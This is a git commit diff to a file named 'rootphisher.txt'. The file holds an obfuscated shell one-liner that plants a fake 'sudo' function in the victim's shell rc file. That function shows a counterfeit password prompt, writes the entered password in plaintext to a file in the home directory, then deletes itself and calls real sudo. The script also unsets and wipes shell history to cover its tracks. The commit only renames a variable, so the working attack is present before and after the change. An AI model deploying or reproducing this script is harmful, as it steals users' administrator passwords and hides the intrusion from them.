Commit: 5b236410c08b38f631e7bd8eaf5663b9385e6be8 Author: Vi Grey Date: 2017-07-04 23:07 UTC Summary: rootphisher.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rootphisher.txt b/rootphisher.txt index 6b25991..a11ed0f 100644 --- a/rootphisher.txt +++ b/rootphisher.txt @@ -1,3 +1,3 @@ a=$HISTFILE;unset HISTFILE -h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;R=/usr/bin/$r;u=unset;$e "$r(){ unset -f $r;unset -f $R;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e;sleep 2;$e \"Sorry, try again.\";$e -n \$p>$HOME/p.txt;$u p;$r -k \$@;fi};$R(){ $r \$@}">>$s +h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;R=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $R;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e;sleep 2;$e \"Sorry, try again.\";$e -n \$p>$HOME/p.txt;$u p;$r -k \$@;fi};$R(){ $r \$@}">>$s sed -i -n /HISTFILE/\!p $a;history -c>/dev/null 2>&1;exit \ No newline at end of file